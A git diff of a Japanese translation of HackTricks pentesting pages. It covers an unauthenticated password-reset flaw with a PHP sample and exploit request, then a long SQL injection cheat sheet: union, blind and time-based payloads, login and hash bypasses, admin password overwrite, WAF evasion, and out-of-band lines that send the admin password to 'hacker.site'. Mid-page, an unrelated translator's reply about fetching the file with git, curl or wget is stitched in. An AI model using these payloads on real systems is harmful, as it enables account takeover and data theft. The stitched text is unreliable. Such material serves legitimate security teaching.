Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Vulnerable pattern (PHP):
```php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
Exploitation リクエスト (概念):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
緩和策:
- パスワードを変更する前に、アカウントおよびセッションに紐付いた、期限付きの有効なリセットトークンを必ず要求する。
- skipOldPwdCheck paths を未認証ユーザーに公開しないこと。通常のパスワード変更では認証を強制し、古いパスワードを検証すること。
- パスワード変更後は、すべてのアクティブなセッションとリセットトークンを無効化する。
## 参考文献
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## SQLインジェクションとは
## SQL injectionとは何ですか
**SQLインジェクション**は、攻撃者がアプリケーションの**データベースクエリに干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**アクセスすべきでないデータを表示**、**変更**、または**削除**することができ、他のユーザーの情報やアプリケーションがアクセスできるデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。
An **SQL injection**は、攻撃者がアプリケーションの**データベースクエリに干渉**できるようにするセキュリティ上の欠陥です。この脆弱性により、攻撃者は他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含め、本来アクセスすべきでないデータを**閲覧**、**改竄**、または**削除**することが可能になります。これらの行為はアプリケーションの機能やコンテンツに恒久的な変更をもたらすことがあり、場合によってはサーバーの乗っ取りや denial of service に至ることもあります。
## エントリポイントの検出
## エントリポイントの検出
サイトがSQLi関連の入力に対して異常なサーバー応答を示す場合、**SQLインジェクションSQLiに対して脆弱である**と見なされます。**最初のステップ**は、**クエリを中断することなくデータを注入する**方法を理解することです。これには、現在のコンテキストから**効果的にエスケープする**方法を特定する必要があります。以下は役立ついくつかの例です:
サイトが SQLi 関連の入力に対して異常なサーバー応答を示し、**SQL injection (SQLi) に対して脆弱**に見える場合、**最初のステップ**はクエリを壊さずにどのように**クエリにデータを注入するか**を理解することです。これには現在のコンテキストから効果的に**エスケープする方法**を特定する必要があります。以下はいくつかの有用な例です:
```
[Nothing]
'
@ -21,9 +21,9 @@
"))
`))
```
次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力**して**前のクエリが新しいデータを受け入れる**ようにするか、単に**データを入力**して**最後にコメント記号を追加**することができます。
次に、**fix the query so there isn't errors**方法を理解しておく必要があります。queryを修正するためには、**input**データを与えて**previous query accept the new data**ようにするか、または単に自分のデータを**input**して行末に**comment symbol**を付ける、という方法があります。
_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_
_Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy._
### **コメント**
```sql
@ -53,21 +53,21 @@ HQL does not support comments
```
### 論理演算による確認
SQLインジェクションの脆弱性を確認する信頼できる方法は、**論理演算**を実行し、期待される結果を観察することです。例えば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更しても同じ内容が得られる場合、SQLインジェクションの脆弱性が示されます。
SQL injection 脆弱性を確認する信頼できる方法の一つは、**論理演算**を実行して期待される結果を観察することです。例えば、`?username=Peter` のような GET パラメータを `?username=Peter' or '1'='1` に変更しても同一の内容が返る場合、SQL injection 脆弱性があることを示します。
同様に、**数学演算**の適用も効果的な確認手法です。例えば、`?id=1``?id=2-1`にアクセスして同じ結果が得られる場合、SQLインジェクションを示唆しています。
同様に、**数学的演算**の適用も有効な確認手法となります。例えば、`?id=1``?id=2-1` にアクセスして同じ結果が得られる場合、それは SQL injection を示唆します。
論理演算による確認を示す例:
論理演算による確認例:
```
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
この単語リストは、提案された方法で**SQLインジェクション**を確認するために作成されました:
このワードリストは、提案された方法で**SQLinjectionsを確認する**ために作成されました:
<details>
<summary>真のSQLi</summary>
<summary>真の SQLi</summary>
```
true
1
@ -156,8 +156,8 @@ true
### タイミングでの確認
場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクション**を発見する良い方法は、DBにアクションを実行させ、ページの読み込みに**時間に影響を与える**ことです。\
のため、SQLクエリに完了するのに多くの時間がかかる操作を連結します:
場合によっては、テストしているページで**変化に気づかないことがあります**。したがって、DBに処理を実行させてページの読み込み時間に**影響を与える**ことで、**blind SQL injections を発見する**のが良い方法です。\
こで、SQLクエリ内でconcatを使って、完了に多くの時間を要する処理を連結します:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -179,11 +179,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
場合によっては、**スリープ関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、クエリが数秒かかる**複雑な操作を実行**させることができます。_これらの技術の例は、各技術ごとに別々にコメントされる予定ですもしあれば_。
場合によっては、**sleep functions が許可されないことがあります**。その場合、それらの関数を使用する代わりに、クエリに数秒かかるような**複雑な操作を実行させる**ことができます。_これらの手法の例は各技術ごとに該当があれば別途解説します_。
### バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**スリープ**_ **関数**や、次のものを使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行してみることです。前節の _**sleep**_ **functions** を使うか、あるいは以下のものを使うことができますtable from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -211,29 +211,29 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
また、クエリの出力にアクセスできる場合**データベースのバージョンを表示させる**ことができます。
また、クエリの出力にアクセスできる場合、データベースのバージョンを**表示させる**ことができます。
> [!TIP]
> 続いて、異なる種類のSQLインジェクションを悪用するためのさまざまな方法について説明します。例としてMySQLを使用します。
> 今後、さまざまな種類のSQL Injectionを悪用するための異なる手法について説明します。例として MySQL を使用します。
### PortSwiggerを使用した識別
### PortSwigger を使った識別
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## ユニオンベースの悪用
## Exploiting Union Based
### カラム数の検出
### 数の検出
クエリの出力が見える場合、これは悪用するための最良の方法です。\
まず最初に、**初期リクエスト**が返す**カラム**の**数**を特定する必要があります。これは**両方のクエリが同じ数のカラムを返す必要があるため**です。\
この目的のために通常使用される2つの方法があります
クエリの出力が見える場合、これが最も効果的な悪用方法です。\
まず最初に、初期リクエストが返している**列**の**数**を特定する必要があります。これは**両方のクエリが同じ数を返す必要がある**ためです。\
この目的のために通常2つの方法が使われます:
#### Order/Group by
クエリのカラム数を特定するために、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、誤った応答が返されるまで続けます。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、両方はクエリのカラム数を特定するために同様に利用できます。
クエリの列数を判定するには、**ORDER BY** や **GROUP BY** 句で使う番号を段階的に増やし、falseエラーの応答が返されるまで試します。SQLにおける **GROUP BY****ORDER BY** の機能は異なりますが、どちらもクエリの列数を判定する目的では同様に利用できます。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -251,17 +251,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
```
#### UNION SELECT
クエリが正しくなるまで、どんどんnull値を選択します:
null 値を増やして、クエリが正しくなるまで続ける:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_`null`値を使用するべきです。なぜなら、クエリの両側のカラムの型が同じでなければならない場合があり、nullはすべてのケースで有効だからです。_
_`null`値を使用するべきです。場合によってはクエリの両側のカラムの型が同じでなければならず、null はあらゆる場合で有効です。_
### データベース名、テーブル名、カラム名の抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルのカラム名を取得します:
次の例では、すべてのデータベース名、あるデータベースのテーブル名、およびテーブルのカラム名を取得します:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -272,67 +272,67 @@ _`null`値を使用するべきです。なぜなら、クエリの両側のカ
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。_
_各データベースごとにこのデータを発見する方法は異なるが、方法論は常に同じだ._
## 隠れたユニオンベースの悪用
## Exploiting Hidden Union Based
クエリの出力が見えるが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変えるには、バックエンドでの実行クエリを特定する必要があります
queryのoutputが見えているが、union-based injectionを達成できないように見える場合、これは**hidden union-based injection**の存在を示す。この状況はしばしばblind injectionにつながる。blind injectionをunion-basedなものに変換するには、バックエンドで実行されているexecution queryを特定する必要がある
これは、ブラインドインジェクション技術とターゲットのデータベース管理システムDBMSに特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします
これはblind injection techniquesと、ターゲットのDatabase Management System (DBMS)に固有のdefault tablesを併用することで達成できる。これらdefault tablesを理解するには、ターゲットDBMSのドキュメントを参照することを推奨する
クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ペイロードにユニオンクエリを追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします
queryを抽出したら、まず元のqueryを安全に閉じるようpayloadを調整する必要がある。その後、union queryをpayloadに追加し、新たに利用可能になったunion-based injectionを悪用する
より包括的な洞察については、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。
詳細は、完全な記事 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) を参照してください。
## エラーベースの悪用
## Exploiting Error based
何らかの理由で**クエリ**の**出力**を見ることができないが、**エラーメッセージ**は見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを**エクスフィルトレート**することができます。\
ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができるかもしれません
もし何らかの理由であなたが**cannot** see the **output** of the **query** だが、**see the error messages**が見える場合、これらのerror messagesを利用してデータベースからデータを**ex-filtrate**することができる。\
Union Based exploitationと同様の流れを辿れば、DBをdumpすることが可能になる
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Blind SQLiの悪用
## Blind SQLi を悪用する
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容によって**区別**することができます。\
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
この場合、クエリの結果やエラーは見えませんが、ページの内容が異なるため、クエリが**返す****true**または**false**の応答を**区別**できます。\
この挙動を悪用して、データベースを文字ごとにダンプできます:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## エクスプロイトエラー ブラインド SQLi
## Exploiting Error Blind SQLi
これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができますHTTPサーバーがクラッシュするためかもしれません。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
これは**前と同じケース**ですが、クエリの true/false レスポンスを区別する代わりに、SQL query における **error** の有無(例えば HTTP server がクラッシュするため)で**区別できます**。したがって、この場合は文字charを正しく推測するたびに SQLerror を強制できます:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 時間ベースのSQLiの悪用
## Time Based SQLi を悪用する
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別する**方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[タイミングで確認する](#confirming-with-timing)ために以前に使用されているのを見たことがあります。
この場合、ページのコンテキストに基づいてクエリの**レスポンス**を**区別**する方法は**ありません**。しかし、推測した文字が正しければ、ページの読み込みを**遅らせる**ことができます。すでにこの手法が[confirm a SQLi vuln](#confirming-with-timing)で使用されているのを見ています。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## スタッククエリ
## Stacked Queries
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されません**。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2つ目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
You can use stacked queries to **複数のクエリを連続して実行**できます。Note that while the subsequent queries are executed, the **結果**は**アプリケーションに返されません**。Hence this technique is primarily of use in relation to **blind vulnerabilities** where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
**Oracle****stacked queries** をサポートしていません。**MySQL, Microsoft** および **PostgreSQL** はサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
## アウトオブバンドエクスプロイト
## Out of band Exploitation
**他の**エクスプロイト手法が**機能しなかった**場合、**データベースが情報をあなたが制御する**外部ホストに**流出させる**ことを試みることができます。例えば、DNSクエリを介して:
もし**他のどの** エクスプロイト手法が**成功しなかった**場合、情報を**データベースからの送出ex-filtrate**であなたが制御する**外部ホスト**へ送らせることを試みることができます。例えば、DNSクエリ経由で
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### XXEを介したアウトオブバンドデータ流出
### XXE を用いた Out of band data exfiltration
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## 自動化エクスプロイト
## Automated Exploitation
[SQLMap Cheatsheet](sqlmap/index.html)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用します
[SQLMap Cheatsheet](sqlmap/index.html) を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap) で SQLi 脆弱性を exploit してください
## 技術特有の情報
## Tech specific info
SQLインジェクション脆弱性を悪用する方法についてはすでに議論しました。この本でデータベース技術に依存するいくつかのトリックを見つけてください
既に SQL Injection 脆弱性を exploit する方法はすべて議論しました。本書の以下の章でデータベース技術ごとの追加トリックを確認してください:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -340,41 +340,42 @@ SQLインジェクション脆弱性を悪用する方法についてはすで
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html)
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックが** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)にあります。
また**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQL に関する多数のトリックが** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) で見つかります
## 認証バイパス
## Authentication bypass
ログイン機能を bypass するために試す一覧:
ログイン機能をバイパスするために試すリスト:
{{#ref}}
../login-bypass/sql-login-bypass.md
{{#endref}}
### 生ハッシュ認証バイパス
### Raw hash authentication Bypass
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
このクエリは、認証チェックで生の出力に対してtrueを使用してMD5が使用されるときの脆弱性を示しています。これにより、システムはSQLインジェクションに対して脆弱になります。攻撃者は、ハッシュ化されたときに予期しないSQLコマンドの一部を生成する入力を作成することでこれを悪用し、不正アクセスを引き起こすことができます。
このクエリは、認証チェックで MD5 を raw output 用の true として使用した場合の脆弱性を示しており、システムが SQL injection に対して脆弱になることを明らかにします。攻撃者は、ハッシュ化した際に予期しない SQL コマンドの一部を生成するような入力を作成してこれを悪用し、不正アクセスを引き起こすことができます。
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### インジェクションされたハッシュ認証バイパス
### Injected hash authentication Bypass
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推奨リスト**:
各行のリストをユーザー名として使用し、パスワードは常に: _**Pass1234.**_\
_(このペイロードは、このセクションの最初に言及された大きなリストにも含まれています)_
You should use as username each line of the list and as password always: _**Pass1234.**_\
_(これらの payloads はこのセクションの冒頭で言及した big list にも含まれています)_
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK 認証バイパス
### GBK Authentication Bypass
IF ' がエスケープされている場合は %A8%27 を使用でき、' がエスケープされると次のように作成されます: 0xA80x5c0x27 (_╘'_)
もし ' がエスケープされている場合は %A8%27 を使うことができます。また ' がエスケープされると次のように作成されます: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -389,57 +390,57 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### ポリグロットインジェクション(マルチコンテキスト)
### Polyglot injection (multicontext)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement
### 既存のオブジェクト/ユーザーのパスワードを変更する
### Modify password of existing object/user
そのためには、**「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)ために、何かを変更する必要があります
そのため、何かを変更して、**マスターオブジェクトと同じ名前の新しいオブジェクトを作成することを試みてください**(ユーザーの場合はおそらく **admin**
- 名前を**AdMIn**(大文字と小文字の組み合わせ)にしてユーザーを作成する
- 名前を**admin=**にしてユーザーを作成する
- **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**にしてユーザーを作成する
- 次のユーザー名で作成する: **AdMIn** (大文字と小文字)
- 次のユーザー名で作成する: **admin=**
- **SQL Truncation Attack** (ユーザー名やメールに何らかの**長さ制限**がある場合) --> 以下の名前のユーザーを作成: **admin \[a lot of spaces] a**
#### SQLトランケーション攻撃
#### SQL Truncation Attack
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成し、任意のパスワードを試みてください。
もしデータベースが脆弱で、ユーザー名の最大文字数が例えば30で、ユーザー **admin** をなりすましたい場合は、ユーザー名を "_admin \[30 spaces] a_" にして任意のパスワードを設定してみてください。
データベースは、入力された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_"に)**切り詰め**、その後、**自動的に末尾のすべてのスペースを削除して**、データベース内のユーザー"**admin**"を**新しいパスワード**で更新します(エラーが表示される可能性がありますが、これは成功しなかったことを意味するわけではありません)。
データベースは導入された**ユーザー名**がデータベース内に**存在するかを確認します**。もし**存在しない**場合、**ユーザー名**を**許容される最大文字数**に**切り詰めます**(この場合は: "_admin \[25 spaces]_")そして末尾のすべてのスペースを**自動的に削除して**データベース内のユーザー"**admin**"の**パスワードを更新します**(エラーが出ることがありますが、成功していないという意味ではありません)。
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さを超える文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL挿入時間ベースのチェック
### MySQL Insert time based checking
`','',''`をできるだけ追加して、VALUESステートメントを終了させると考えます。遅延が実行される場合、SQLインジェクションがあります。
VALUES ステートメントから抜けるために、`','',''` を必要なだけ追加します。遅延が実行されれば、SQLInjection が存在します。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
`ON DUPLICATE KEY UPDATE`句は、MySQLで、UNIQUEインデックスまたはPRIMARY KEYに重複する値をもたらす行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するために利用されるかを示しています。
MySQLの`ON DUPLICATE KEY UPDATE`句は、行の挿入が`UNIQUE`インデックスまたは`PRIMARY KEY`に重複する値を生じさせる場合に、データベースが実行する処理を指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています:
Example Payload Injection:
注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2行目は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります:
An injection payloadは次のように作成されることがあり、`users`テーブルに2行を挿入しようとします。最初の行はデコイで、2行目は既存の管理者のメールアドレスを狙ってパスワードを更新することを目的としています:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
以下のように機能します:
仕組みは次の通りです:
- クエリは、`generic_user@example.com`用と`admin_generic@example.com`用の2つの行を挿入しようとします。
- `admin_generic@example.com`の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE`句がトリガーされ、MySQLに既存の行の`password`フィールドを"bcrypt_hash_of_newpassword"に更新するよう指示します。
- その結果、`admin_generic@example.com`を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます"bcrypt_hash_of_newpassword"は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります)。
- このクエリは2つの行を挿入しようとします: 1つは `generic_user@example.com` 用、もう1つは `admin_generic@example.com` 用です。
- もし `admin_generic@example.com` の行が既に存在する場合、`ON DUPLICATE KEY UPDATE` 句が発動し、MySQL に既存行の `password` フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。
- 結果として、`admin_generic@example.com` とその bcrypt ハッシュに対応するパスワードを使って認証を試みることができます("bcrypt_hash_of_newpassword" は新しいパスワードの bcrypt ハッシュを表しており、実際に使用したいパスワードのハッシュに置き換える必要があります)。
### 情報を抽出する
#### 同時に2つのアカウントを作成する
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールが必要です:
新しいユーザーを作成する際、username、password、email が必要です:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -448,17 +449,55 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### 10進数または16進数を使用する
この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントをする必要はないことに注意してください。
この技術では、アカウントを1つ作成するだけで情報を抽出できます。コメントアウトする必要はない点に注意してください。
**hex2dec** と **substr** を使用して:
**hex2dec** と **substr** を使用する:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
テキストを取得するには、次のようにします:
テキストを取得するには、次のいずれかを使用できます:
- git clone + cat
```
git clone <REPO_URL>
cat <PATH/TO/src/pentesting-web/sql-injection/README.md>
```
- git showリモートの特定ブランチやコミットから
```
git -C <LOCAL_REPO_PATH> show <BRANCH_OR_COMMIT>:src/pentesting-web/sql-injection/README.md
```
- curlraw ファイル URL がある場合)
```
curl -sL "<RAW_FILE_URL>" -o README.md
cat README.md
```
- wgetraw ファイル URL がある場合)
```
wget -qO README.md "<RAW_FILE_URL>"
cat README.md
```
- gh CLIGitHub の場合)
```
gh repo clone <OWNER/REPO>
cat src/pentesting-web/sql-injection/README.md
```
- リポジトリがローカルにあり、ファイル内の一部だけ欲しい場合(例: head/tail/sed
```
sed -n '1,200p' src/pentesting-web/sql-injection/README.md
# または
head -n 200 src/pentesting-web/sql-injection/README.md
```
必要なら、取得した内容をここに貼っていただければ翻訳します。
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
**hex** と **replace** (および **substr**) を使用して:
**hex** と **replace**(および **substr**)を使用する:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -469,20 +508,20 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
## Routed SQL injection
Routed SQL injectionは、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection は、injectable query 自体が出力を返すのではなく、その injectable query の出力が出力を返す別の query に渡される状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example:
:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF バイパス
## WAF Bypass
[初期バイパスはこちらから](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### スペースなしバイパス
### No spaces bypass
No Space (%20) - ホワイトスペースの代替を使用してバイパス
No Space (%20) - bypass空白の代替文字を使用
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -491,17 +530,17 @@ No Space (%20) - ホワイトスペースの代替を使用してバイパス
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
ホワイトスペースなし - コメントを使用してバイパス
No Whitespace - コメントを使った bypass
```sql
?id=1/*comment*/and/**/1=1/**/--
```
空白なし - 括弧を使用してバイパス
No Whitespace - parenthesis を使った bypass
```sql
?id=(1)and(1)=(1)--
```
### No commas bypass
No Comma - OFFSET、FROM、JOINを使用したバイパス
No Comma - OFFSET, FROM and JOIN を使用したバイパス
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -509,13 +548,13 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
### Generic Bypasses
